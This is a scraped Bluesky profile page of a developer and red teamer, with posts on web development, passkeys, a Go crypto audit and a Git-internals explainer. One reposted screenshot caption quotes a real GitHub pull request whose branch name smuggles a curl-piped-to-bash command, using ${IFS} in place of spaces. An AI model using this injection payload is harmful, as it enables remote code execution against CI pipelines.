Robin Verton's Avatar

Robin Verton

@robinverton.de.bsky.social

developer, red teamer, founder go, elixir, typescript https://robinverton.de

20 Followers  |  106 Following  |  9 Posts  |  Joined: 07.02.2024  |  1.5508

Latest posts by robinverton.de on Bluesky

When developing web apps this way, how do you handle playwright and sessions? Do you add context on how to login, or do you provide some kind of dev routes which will handle auth? I also thought of providing a cookie so I can prepare the session with some data.

29.06.2025 14:50 โ€” ๐Ÿ‘ 1    ๐Ÿ” 0    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 0

Tried Amp for the first time today on a sideproject and I'm impressed! I really like the workflow and how it just gets the job done. Currently using the CLI because I'm still married to nvim.

01.06.2025 11:45 โ€” ๐Ÿ‘ 1    ๐Ÿ” 0    ๐Ÿ’ฌ 0    ๐Ÿ“Œ 0
Preview
Go Cryptography Security Audit Go's cryptography libraries underwent an audit by Trail of Bits. Read more about the scope and results.

Three Trail of Bits engineers audited core Go cryptography for a month and found only one low-sev security issue... in unsupported Go+BoringCrypto! ๐Ÿพ

Years of efforts on testing, limiting complexity, safe APIs, and readability have paid off! โœจ

Yes I am taking a victory lap. No I am not sorry. ๐Ÿ†

19.05.2025 19:07 โ€” ๐Ÿ‘ 574    ๐Ÿ” 84    ๐Ÿ’ฌ 15    ๐Ÿ“Œ 4

I am convinced 99% of websites should use magic links + passkeys.

It bypasses all (debatable) portability objections to passkeys, itโ€™s at least as secure as email-based recovery, as fast as a password manager, itโ€™s available to all usersโ€ฆ and importantly, no passwords!

02.01.2025 15:26 โ€” ๐Ÿ‘ 156    ๐Ÿ” 31    ๐Ÿ’ฌ 20    ๐Ÿ“Œ 3
Preview
minimator minimalist graphical editor in your browser and on the go

The new 'drawing squares during a meeting', beautiful little app: minimator.app

18.12.2024 07:48 โ€” ๐Ÿ‘ 0    ๐Ÿ” 0    ๐Ÿ’ฌ 0    ๐Ÿ“Œ 0

Are you using aerospace for the tiling functionality?

14.12.2024 13:11 โ€” ๐Ÿ‘ 0    ๐Ÿ” 0    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 0
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

06.12.2024 03:27 โ€” ๐Ÿ‘ 957    ๐Ÿ” 260    ๐Ÿ’ฌ 17    ๐Ÿ“Œ 53

Ah, you are referring to the latency between pressing a key and the character appearing on screen?

19.11.2024 08:16 โ€” ๐Ÿ‘ 0    ๐Ÿ” 0    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 0
Video thumbnail
19.11.2024 08:07 โ€” ๐Ÿ‘ 0    ๐Ÿ” 0    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 0

I have the same feeling for Messages.app since I have updated. It is a lot slower than in other apps.

19.11.2024 06:16 โ€” ๐Ÿ‘ 2    ๐Ÿ” 0    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 0

Are you using SSR here for SEO or performance reasons? Curious if you are doing it for performance reasons. My current inertia-phoenix project has a 100 lighthouse score without using any SSR.

18.11.2024 20:07 โ€” ๐Ÿ‘ 1    ๐Ÿ” 0    ๐Ÿ’ฌ 2    ๐Ÿ“Œ 0
Preview
Managing Distributed State with GenServers in Phoenix and Elixir | AppSignal Blog This two-part series explores working with Phoenix in a distributed setup. In part one, we'll look at GenServers.

I really enjoyed this article, showing how to write a token bucket rate limiter for a single-node, and then extending it to make it distributed

blog.appsignal.com/2024/10/29/m...

02.11.2024 17:26 โ€” ๐Ÿ‘ 0    ๐Ÿ” 0    ๐Ÿ’ฌ 0    ๐Ÿ“Œ 0
HEAD

HEAD is a tiny file that just contains the name of your current branch

.git/HEAD
ref: refs/heads/main

HEAD can also be a commit ID, thatโ€™s called โ€œdetached HEAD stateโ€
branches

a branch is stored as a tiny file that just contains 1 commit ID. Itโ€™s stored in a folder called refs/heads.

7622629 - (actually 40 characters)

tags are in refs/tags, the stash is in refs/stash
commit

a commit is a small file containing its parent(s), message, tree, and author

.git/objects/7622629

tree c4e6559 
parent 037ab87 
author Julia <x@y.com> 1697682215 
committer Julia <x@y.com> 1697682215 
commit message goes here 

these are compressed, the best way to see objects is with git cat-file -p HASH
trees

trees are small files with directory listings. The files in it are called โ€œblobsโ€

.git/objects/c4e6559

100644 blob e351d93 404.html 
100644 blob cab4165 hello.py
040000 tree 9de29f7 lib

the permissions here LOOK like unix permissions, but theyโ€™re actually super restricted, only 644 and 755 are allowed
blobs

blobs are the files that contain your actual code

.git/objects/cab4165
print("hello world!!!!")
reflog

the reflog stores the history of every branch, tag, and HEAD

.git/logs/refs/heads/main

2028ee0 c1f9a4c 
Julia Evans <x@y.com> 
1683751582 
commit: no ligatures in code

each line of the reflog has: - before/after commit IDs - user + - timestamp - log message
remote-tracking branches

remote-tracking branches store the most recently seen commit ID for a remote branch

.git/refs/remotes/origin/main
a9bbcae

when git status says โ€œyouโ€™re up to date with origin/mainโ€, itโ€™s just looking at this
.git/config

.git/config is a config file for the repository. itโ€™s where you configure your remotes

.git/config

[remote "origin"] 
url = git@github.com: jvns/int-exposed 
fetch = +refs/heads/*: refs/remotes/origin/* 
[branch "main"] 
remote = origin 
merge refs/heads/main

HEAD HEAD is a tiny file that just contains the name of your current branch .git/HEAD ref: refs/heads/main HEAD can also be a commit ID, thatโ€™s called โ€œdetached HEAD stateโ€ branches a branch is stored as a tiny file that just contains 1 commit ID. Itโ€™s stored in a folder called refs/heads. 7622629 - (actually 40 characters) tags are in refs/tags, the stash is in refs/stash commit a commit is a small file containing its parent(s), message, tree, and author .git/objects/7622629 tree c4e6559 parent 037ab87 author Julia <x@y.com> 1697682215 committer Julia <x@y.com> 1697682215 commit message goes here these are compressed, the best way to see objects is with git cat-file -p HASH trees trees are small files with directory listings. The files in it are called โ€œblobsโ€ .git/objects/c4e6559 100644 blob e351d93 404.html 100644 blob cab4165 hello.py 040000 tree 9de29f7 lib the permissions here LOOK like unix permissions, but theyโ€™re actually super restricted, only 644 and 755 are allowed blobs blobs are the files that contain your actual code .git/objects/cab4165 print("hello world!!!!") reflog the reflog stores the history of every branch, tag, and HEAD .git/logs/refs/heads/main 2028ee0 c1f9a4c Julia Evans <x@y.com> 1683751582 commit: no ligatures in code each line of the reflog has: - before/after commit IDs - user + - timestamp - log message remote-tracking branches remote-tracking branches store the most recently seen commit ID for a remote branch .git/refs/remotes/origin/main a9bbcae when git status says โ€œyouโ€™re up to date with origin/mainโ€, itโ€™s just looking at this .git/config .git/config is a config file for the repository. itโ€™s where you configure your remotes .git/config [remote "origin"] url = git@github.com: jvns/int-exposed fetch = +refs/heads/*: refs/remotes/origin/* [branch "main"] remote = origin merge refs/heads/main

intro post: I post a lot of explanations of computer things, here's an example!

this one's an intro to Git's internals

21.10.2024 13:03 โ€” ๐Ÿ‘ 355    ๐Ÿ” 82    ๐Ÿ’ฌ 7    ๐Ÿ“Œ 8

@robinverton.de is following 20 prominent accounts